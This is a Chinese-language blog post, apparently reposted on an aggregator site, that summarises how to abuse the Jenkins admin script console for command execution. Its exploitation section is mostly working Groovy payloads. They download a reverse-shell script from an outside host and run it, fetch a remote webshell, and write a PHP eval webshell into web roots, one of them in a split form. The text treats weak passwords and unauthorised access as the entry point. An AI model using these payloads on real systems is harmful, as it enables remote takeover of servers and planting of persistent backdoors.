IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    Jenkins脚本命令执行漏洞小总结

    admin发表于 2015-10-26 17:15:14
    love 0

    1,系统介绍

    Jenkins是一个开源软件项目,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能。

    2,漏洞描述

    Jenkins管理登陆之后,后台”系统管理”功能,有个”脚本命令行的”功能,它的作用是执行用于管理或故障探测或诊断的任意脚本命令,功能如图:

    jenkins命令执行漏洞

     

     

     

     

     

    利用该功能,可以执行系统命令,例如执行”whoami”命令,如图所示:

    命令执行漏洞

     

     

     

     

     

    该功能实际上Jenkins正常的功能,由于很多管理账号使用了弱口令,或者管理后台存在未授权访问,导致该功能会对Jenkins系统服务器产生比较严重的影响和危害。

    3,漏洞利用

    1) 直接wget下载back.py反弹shell,如下:

    println "wget http://www.nxadmin.com/tools/back.py -P /tmp/".execute().text
    println "python /tmp/back.py 10.1.1.111 8080".execute().text

    2)多种写webshell方法,如下:

    ① wget写webshell
    println "wget http://shell.nxadmin.com/data/t.txt -o /var/www/html/media.php".execute().text
    
    ②
    new File("/var/www/html/media.php").write('<?php @eval($_POST[s3cpu1se]);?>');
    
    ③
    def webshell = '<?php @eval($_POST[s3cpu1se]);?>'
    new File("/var/www/html/media.php").write("$webshell");
    
    ④追加法写webshell
    def execute(cmd) {
    def proc =  cmd.execute()
    proc.waitFor()
    
    }
    execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /usr/local/nginx_1119/html/media.php' ] )
    execute( [ 'bash', '-c', 'echo "_POST[s3cpu1se]);?>" >> /usr/local/nginx_1119/html/media.php' ] )

    //参数-n 不要在最后自动换行

    4,参考资料

    http://www.secpulse.com/archives/2166.html



沪ICP备19023445号-2号
友情链接